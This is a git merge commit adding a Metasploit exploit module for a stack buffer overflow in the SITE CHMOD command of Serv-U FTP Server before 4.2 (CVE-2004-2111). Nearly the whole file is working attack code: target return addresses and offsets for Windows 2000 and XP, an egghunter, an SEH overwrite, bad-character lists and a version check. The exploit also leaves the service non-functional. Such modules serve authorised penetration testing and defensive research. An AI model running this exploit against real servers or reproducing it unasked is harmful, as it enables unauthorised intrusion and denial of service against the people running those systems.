Merge branch 'servu_sploit'

modules/exploits/windows/ftp/servu_chmod.rb

@@ -0,0 +1,101 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = NormalRanking
+
+	include Msf::Exploit::Remote::Egghunter
+	include Msf::Exploit::Remote::Ftp
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Serv-U FTP Server <4.2 Buffer Overflow',
+			'Description'    => %q{
+				This module exploits a stack buffer overflow in the site chmod command
+				in versions of Serv-U FTP Server prior to 4.2.
+
+				You must have valid credentials to trigger this vulnerability. Exploitation
+				also leaves the service in a non-functional state.
+			},
+			'Author'         => 'thelightcosine <thelightcosine[at]metasploit.com>',
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					[ 'CVE', '2004-2111'],
+					[ 'BID', '9483'],
+				],
+			'Privileged'     => true,
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'thread',
+				},
+			'Payload'        =>
+				{
+					'BadChars'    => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
+					'DisableNops' => true,
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Windows 2000 SP0-4 EN', {
+						'Ret'    => 0x750212bc, #WS2HELP.DLL
+						'Offset' => 396 } ],
+					[ 'Windows XP SP0-1 EN', {
+						'Ret'    => 0x71aa388f, #WS2HELP.DLL
+						'Offset' => 394 } ]
+				],
+			'DisclosureDate' => 'Dec 31 2004',
+			'DefaultTarget'  => 0))
+	end
+
+	def check
+		connect
+		disconnect
+
+		if (banner =~ /Serv-U FTP Server v((4.(0|1))|3.\d)/)
+			return Exploit::CheckCode::Vulnerable
+		end
+			return Exploit::CheckCode::Safe
+	end
+
+
+	def exploit
+		connect_login
+
+		eggoptions =
+		{
+			:checksum => true,
+			:eggtag => "W00T"
+		}
+
+		hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions)
+
+
+		buffer = "chmod 777 "
+		buffer <<  make_nops(target['Offset'] - egg.length - hunter.length)
+		buffer << egg
+		buffer << hunter
+		buffer << "\xeb\xc9\x41\x41"	#nseh, jump back to egghunter
+		buffer << [target.ret].pack('V')	#seh
+		buffer << rand_text(5000)
+
+		print_status("Trying target #{target.name}...")
+
+		send_cmd( ['SITE', buffer] , false)
+
+		handler
+		disconnect
+	end
+
+end